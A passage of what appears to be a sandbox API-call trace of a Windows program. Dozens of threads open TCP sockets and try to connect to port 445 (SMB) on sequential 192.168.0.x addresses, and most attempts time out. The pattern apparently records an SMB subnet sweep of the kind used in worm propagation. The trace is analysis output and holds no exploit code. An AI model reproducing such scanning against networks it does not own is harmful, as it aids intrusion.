[0188.754] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x27a9e0d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.655] CoUninitialize ()
Thread:
id = 125
os_tid = 0xc18
[0164.006] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.007] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1344
[0164.009] WSAConnect (in: s=0x1344, name=0x272d848*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.112"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.801] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2611e210, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.647] CoUninitialize ()
Thread:
id = 126
os_tid = 0xc1c
[0164.017] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.018] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1364
[0164.019] WSAConnect (in: s=0x1364, name=0x272df60*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.113"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.848] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2791e2d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.640] CoUninitialize ()
Thread:
id = 127
os_tid = 0xc20
[0164.026] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.027] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1384
[0164.028] WSAConnect (in: s=0x1384, name=0x272e678*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.894] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x273ae370, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0188.939] CoUninitialize ()
Thread:
id = 128
os_tid = 0xc24
[0164.035] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.036] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x13a4
[0164.037] WSAConnect (in: s=0x13a4, name=0x272ed90*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.115"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.941] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x27b9def0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.628] CoUninitialize ()
Thread:
id = 129
os_tid = 0xc28
[0164.049] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.049] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x13c4
[0164.051] WSAConnect (in: s=0x13c4, name=0x272f4a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.116"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.988] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x27d5dbf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.032] CoUninitialize ()
Thread:
id = 130
os_tid = 0xc2c
[0164.060] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.061] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x13e4
[0164.061] WSAConnect (in: s=0x13e4, name=0x272fbc0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.117"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0189.035] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x282bde30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.622] CoUninitialize ()
Thread:
id = 131
os_tid = 0xc30
[0164.072] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.110] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1408
[0164.112] WSAConnect (in: s=0x1408, name=0x27302d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.118"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0189.066] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2845e050, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.549] CoUninitialize ()
Thread:
id = 132
os_tid = 0xc34
[0164.121] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.122] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1428
[0164.123] WSAConnect (in: s=0x1428, name=0x27309f0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.119"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.105] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x286fde90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.142] CoUninitialize ()
Thread:
id = 133
os_tid = 0xc38
[0164.135] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.136] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1448
[0164.136] WSAConnect (in: s=0x1448, name=0x2731108*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.120"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.143] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2886e0d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.713] CoUninitialize ()
Thread:
id = 134
os_tid = 0xc3c
[0164.145] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.146] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1468
[0164.147] WSAConnect (in: s=0x1468, name=0x2731820*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.121"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.179] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x28a3def0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.215] CoUninitialize ()
Thread:
id = 135
os_tid = 0xc40
[0164.154] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.155] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1488
[0164.155] WSAConnect (in: s=0x1488, name=0x2731f38*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.122"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.216] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x28bada50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.718] CoUninitialize ()
Thread:
id = 136
os_tid = 0xc44
[0164.164] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.165] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x14a8
[0164.165] WSAConnect (in: s=0x14a8, name=0x2732650*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.123"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.257] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2857deb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.296] CoUninitialize ()
Thread:
id = 137
os_tid = 0xc48
[0164.174] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.175] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x14c8
[0164.175] WSAConnect (in: s=0x14c8, name=0x2732d68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.124"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.297] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x28e4de70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.725] CoUninitialize ()
Thread:
id = 138
os_tid = 0xc4c
[0164.183] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.184] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x14e8
[0164.185] WSAConnect (in: s=0x14e8, name=0x2733480*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.125"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.335] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2903ddb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.370] CoUninitialize ()
Thread:
id = 139
os_tid = 0xc50
[0164.194] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.195] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1508
[0164.196] WSAConnect (in: s=0x1508, name=0x2733b98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.126"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.371] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x28d2d9f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.410] CoUninitialize ()
Thread:
id = 140
os_tid = 0xc54
[0164.210] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.213] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1528
[0164.214] WSAConnect (in: s=0x1528, name=0x27342b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.127"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.411] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x291febf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.731] CoUninitialize ()
Thread:
id = 141
os_tid = 0xc58
[0164.229] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.230] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1548
[0164.231] WSAConnect (in: s=0x1548, name=0x27349c8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.128"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.064] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x293de750, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.739] CoUninitialize ()
Thread:
id = 142
os_tid = 0xc5c
[0164.238] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.238] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1568
[0164.239] WSAConnect (in: s=0x1568, name=0x27350e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.129"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0196.031] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x295fe650, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.063] CoUninitialize ()
Thread:
id = 143
os_tid = 0xc60
[0164.246] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.247] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1588
[0164.248] WSAConnect (in: s=0x1588, name=0x27357f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.130"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.993] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2982ebf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.030] CoUninitialize ()
Thread:
id = 144
os_tid = 0xc64
[0164.256] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.256] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x15a8
[0164.257] WSAConnect (in: s=0x15a8, name=0x2735f10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.131"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.958] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x294fe750, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.704] CoUninitialize ()
Thread:
id = 145
os_tid = 0xc68
[0164.276] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.277] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x15c8
[0164.278] WSAConnect (in: s=0x15c8, name=0x2736628*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.132"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.924] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x29aaeb50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.957] CoUninitialize ()
Thread:
id = 146
os_tid = 0xc6c
[0164.290] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.291] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x15e8
[0164.292] WSAConnect (in: s=0x15e8, name=0x2736d40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.133"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.892] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x29c3e370, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.924] CoUninitialize ()
Thread:
id = 147
os_tid = 0xc70
[0164.318] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.319] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1608
[0164.319] WSAConnect (in: s=0x1608, name=0x2737458*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.134"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.852] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x296fea70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.890] CoUninitialize ()
Thread:
id = 148
os_tid = 0xc74
[0164.335] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.337] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1628
[0164.339] WSAConnect (in: s=0x1628, name=0x2737b70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.135"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.819] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x29d6e250, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.694] CoUninitialize ()
Thread:
id = 149
os_tid = 0xc78
[0164.358] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.359] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1648
[0164.360] WSAConnect (in: s=0x1648, name=0x2738288*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.136"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.774] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x29f7e650, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.818] CoUninitialize ()
Thread:
id = 150
os_tid = 0xc7c
[0164.369] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.370] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1668
[0164.373] WSAConnect (in: s=0x1668, name=0x27389a0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.137"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.733] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2996e870, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.684] CoUninitialize ()
Thread:
id = 151
os_tid = 0xc80
[0164.382] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.383] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1688
[0164.384] WSAConnect (in: s=0x1688, name=0x27390b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.138"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.696] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a23e290, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.732] CoUninitialize ()
Thread:
id = 152
os_tid = 0xc84
[0164.393] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.394] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x16a8
[0164.394] WSAConnect (in: s=0x16a8, name=0x27397d0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.139"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.655] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a40e710, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.677] CoUninitialize ()
Thread:
id = 153
os_tid = 0xc88
[0164.404] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.405] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x16c8
[0164.405] WSAConnect (in: s=0x16c8, name=0x2739ee8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.140"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.618] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a11e150, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.654] CoUninitialize ()
Thread:
id = 154
os_tid = 0xc8c
[0164.422] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.423] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x16e8
[0164.424] WSAConnect (in: s=0x16e8, name=0x273a600*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.141"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.568] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a66e370, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.624] CoUninitialize ()
Thread:
id = 155
os_tid = 0xc90
[0164.435] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.436] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1708
[0164.436] WSAConnect (in: s=0x1708, name=0x273ad18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.142"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.530] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a89e030, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.567] CoUninitialize ()
Thread:
id = 156
os_tid = 0xc94
[0164.445] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.449] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1728
[0164.452] WSAConnect (in: s=0x1728, name=0x273b430*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.143"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.492] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2aaae4d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.528] CoUninitialize ()
Thread:
id = 157
os_tid = 0xc98
[0164.460] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.461] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1748
[0164.461] WSAConnect (in: s=0x1748, name=0x273bb48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.144"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.125] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a56ddd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.573] CoUninitialize ()
Thread:
id = 158
os_tid = 0xc9c
[0164.468] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.469] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1768
[0164.469] WSAConnect (in: s=0x1768, name=0x273c260*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.145"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
